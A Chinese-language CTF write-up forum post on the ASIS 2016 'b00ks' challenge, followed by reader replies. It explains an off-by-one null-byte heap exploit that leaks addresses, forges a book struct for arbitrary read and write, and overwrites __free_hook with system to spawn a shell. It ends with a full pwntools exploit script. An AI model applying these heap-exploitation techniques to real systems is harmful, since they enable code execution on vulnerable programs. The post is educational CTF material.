首页
论坛
专栏
课程

Asis 2016 b00ks (off by one利用)

2018-8-28 12:34 4965

Asis 2016 b00ks (off by one利用)

2018-8-28 12:34
4965
记pwn萌新解题的辛酸历程,写的尽量详细,让和我一样的小菜鸡都能看的明白清楚。

参考前辈的文章  
 https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/   
https://bbs.pediy.com/thread-225611.htm  
写的非常清楚明白

首先用checksec查看一下b00ks文件的保护,发现开启了PIE,Full RELRO。

为了调试的时候方便,暂时关闭系统的地址随机化功能  echo 0 > /proc/sys/kernel/randomize_va_space

然后用ida打开分析程序的具体功能。

b00ks是常见的图书管理系统,功能如下:


off_by_one的漏洞位于如下函数:


当输入author name的时候,如果输入的字符串长度为32时,会溢出一个字节‘\00’。实际想内存中写入了33个字符。

分析create函数中如下代码


可知book_struct的结构如下:
struct book_struct
{
int id;
void * book_name;
void *book_description;
int description_size;
}
大小为32个字节。

并且book_struct的同意存放在一个静态的数组中管理global_struct_array中,以及author存放的地址也是一个静态的地址。


可知offset_book_strcut - offset_author_name = 0x20,恰好和之前分析的author_name输入时的off_by_one漏洞所需的字符串长度吻合。

因此,我们可以知道当author_name的长度为32B时,结束符‘/00’会溢出到global_struct_array的第一个数组元素当中去,然后如果我们create一个book之后,'\00'结束符会被覆盖掉,因此打印author_name的时候可以将global_struct_array的第一个元素泄露出来,即泄露出addr_book1。

调试程序看一下具体效果,因为我们不知道程序加载的基址,所以调试的时候下断点不方便,因此通过如下办法获取程序加载的基址(因为我们调试的时候为了方便已经禁用了PIE,所以多次加载程序的基址不变):
首先gdb b00ks,然后r运行程序。

程序启动之后,通过 cat /proc/pid/maps获取程序的内存信息,可知程序加载的基址为0x555555554000。因此之后设置断点时  基址+ida地址  = 实际运行的地址。

当输入author_name = 'a'*32后,查看内存信息如下:
x/10xg 0x555555554000+0x202040
溢出的'\00'的位置如图中标注所示

在create一个book_struct之后,内存信息如下所示,可以看到author_name的结束符被覆盖,通过打印author_name的信息可以将addr_book1的信息泄露。

然后在继续create book2,通过查看内存地址信息,可以知道addr_book2-addr_book1=0x30。因此exp的时候可以通过泄露addr_book1来得到addr_book2的信息。

然后在运用change_author_name的功能,重新溢出一个字节‘\00',然后global_struct_array中的第一个元素的地址改变,我们可以通过为book1_description申请大一点的空间,来使的被修改后 global_struct_array中的第一个元素的地址指向book1_description内的地址,然后我们可以在相应的地址重新伪造一个book1_struct。因为有print description以及edit description的功能,所以我们通过伪造book1_struct的description使其指向任意地址,通过打印或者edit来实现任意地址的读写。


change_author_name来实现溢出'\00',可以看到global_struct_array中的第一个元素地址由0x0000555555758160被改为0x0000555555758100,即指向了我们伪造的book1_struct。然后我们伪造的struct结构如下:
{
id=1; 
book_name = book2_struct_name;( book2_struct+8)
description = book2_struct_name;
description_size = 0xffff
}

然后通过打印book1_struct的信息,可以在book_name以及book_description项中获取到book_struct_name的地址信息。

因为开启了Full RELRO因此无法利用赋写GOT表来实现劫持程序流,因此我们通过得到libc的基址,然后利用free_hook或者malloc_hook来劫持程序流。

因为mmap分配区域的地址与libc的基址之间的offset是固定的,因此我们利用这个offset来获取libc的基址。因此我们创建book2_struct的时候,对于name以及description申请较大的内存空间,通过mmap区域分配内存。
首先通过debug vmmap查看libc的基址以及mmap区域的地址:


得到offset =  0x7ffff7fb7010 - 0x7ffff7a0d000
然后 libcbase = book2_name_ptr  -  offset

获取了libc的基址后 , 得到需要的函数以及参数的地址信息。
free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase

然后通过
payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)
将改写fake_book1中的description的内容,因为description指向的是book2_name,也就是说 payload = p64(binsh_addr) + p64(free_hook)将覆盖book2_name以及book2_description。(还可以利用 execve("/bin/sh",  null,  environ) ???)

然后
payload = p64(system)
edit_book(target, 2, payload)
这里是edit  book2_description,因为book2_description被覆盖为free_hook()的地址信息,因此此操作时将free_hook指向system。

delete_book(target, 2)
在删除book2时,会首先调用free()释放book2_name_ptr指针指向的地址空间,原本的free(book2_name_ptr)最终变为system(binsh_addr)。
这里特别感谢  https://cq674350529.github.io/2018/06/05/asis-ctf-2016-pwn-b00ks/ 的作者,讲解的十分清楚。

最后上完整的漏洞利用代码:


#!/usr/bin/env python
# -*- coding=utf-8 -*-

from pwn import *

context(log_level='debug', os='linux')

def create_book(target, name_size, book_name, desc_size, book_desc):
    target.recv()
    target.sendline('1')
    target.sendlineafter('Enter book name size: ', str(name_size))
    target.sendlineafter('Enter book name (Max 32 chars): ', book_name)
    target.sendlineafter('Enter book description size: ', str(desc_size))
    target.sendlineafter('Enter book description: ', book_desc)

def delete_book(target, book_id):
    target.recv()
    target.sendline('2')
    target.sendlineafter('Enter the book id you want to delete: ', str(book_id))

def edit_book(target, book_id, book_desc):
    target.recv()
    target.sendline('3')
    target.sendlineafter('Enter the book id you want to edit: ', str(book_id))
    target.sendlineafter('Enter new book description: ', book_desc)

def print_book(target):
    target.recvuntil('>')
    target.sendline('4')

def change_author_name(target, name):
    target.recv()
    target.sendline('5')
    target.sendlineafter('Enter author name: ', name)

def input_author_name(target, name):
    target.sendlineafter('Enter author name: ', name)

DEBUG = 1
LOCAL = 1

if LOCAL:
    target = process('./b00ks')
else:
    target = remote('127.0.0.1', 5678)

libc = ELF('./libc.so.6')
# used for debug
image_base = 0x555555554000

if DEBUG:
    pwnlib.gdb.attach(target, 'b *%d\nc\n' % (image_base+0x1245))

input_author_name(target, 'a'*32)
create_book(target, 140 ,'book_1', 140, 'first book created') #description的地址空间要大一些,使得伪造的bokk_struct落在description中。

# leak boo1_struct addr
print_book(target)

target.recvuntil('a'*32)
temp = target.recvuntil('\x0a')

book1_struct_addr = u64(temp[:-1].ljust(8, '\x00'))
#print hex(book1_struct_addr)
book2_struct_addr = book1_struct_addr + 0x30

create_book(target, 0x21000, 'book_2', 0x21000, 'second book create')  #0x21000保证mmap分配内存

# fake book1_struct
payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) * 2 + p64(0xffff)
#payload = 'a' * 0x40 + p64(1) + p64(book2_struct_addr + 8) + p64(0x555555554870) + p64(0xffff)
edit_book(target, 1, payload)

change_author_name(target, 'a'*32)
print 'aaaaaaaaaaaaaaaaaaaaaaaa'
print (book2_struct_addr + 8)
# leak book2_name ptr
print_book(target)

target.recvuntil('Name: ')
temp = target.recvuntil('\x0a')
book2_name_ptr = u64(temp[:-1].ljust(8, '\x00'))
# print hex(book2_name_ptr)

# find in debug: mmap_addr - libcbase
offset =  0x7ffff7fb7010 - 0x7ffff7a0d000
libcbase = book2_name_ptr - offset
print "offset="+ hex(offset)
print "libcbase="+ hex(libcbase)

free_hook = libc.symbols['__free_hook'] + libcbase
system = libc.symbols['system'] + libcbase
binsh_addr = libc.search('/bin/sh').next() + libcbase
print "free_hook = "+ hex(free_hook)
print "system = "+ hex(system)
print "binsh_addr = "+ hex(binsh_addr)

payload = p64(binsh_addr) + p64(free_hook)
edit_book(target, 1, payload)

payload = p64(system)
edit_book(target, 2, payload)

delete_book(target, 2)
target.interactive()




打通了
 
最后附上一个流程图 手写的,凑活着看吧


   



                                                                                                                                                                                                                                idd&xhh


[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2018-9-20 09:25 被iddm编辑 ,原因:
最新回复 (8)
s0ck4t7 2019-7-23 12:45
2
0
这篇终于能看懂了,膜dalao
久久归 2019-8-3 10:43
3
0
找到基地址以后下断点是要退出gdb以后再下断点吗?
出嘿29398636 2019-8-6 18:26
4
0
看懂一点点,自己始终是不够啊
iddm 3 2019-8-15 21:23
5
0
久久归 找到基地址以后下断点是要退出gdb以后再下断点吗?
嗯嗯 下断点就要重新下了 
iddm 3 2019-8-15 21:25
6
0
出嘿29398636 看懂一点点,自己始终是不够啊
加油 慢慢来 都是这么过来的
零零七Robot 2019-9-15 01:22
7
0
请问如果不禁止PIE,怎样查找author在内存中的位置呢?
iddm 3 2019-9-15 08:52
8
0
零零七Robot 请问如果不禁止PIE,怎样查找author在内存中的位置呢?
我记不太清楚了,大概通过计算就可以。程序基址+相对偏移。
零零七Robot 2019-9-16 17:24
9
0
已解决,用gdb查找字符在内存中位置即可
游客
登录 | 注册 方可回帖
返回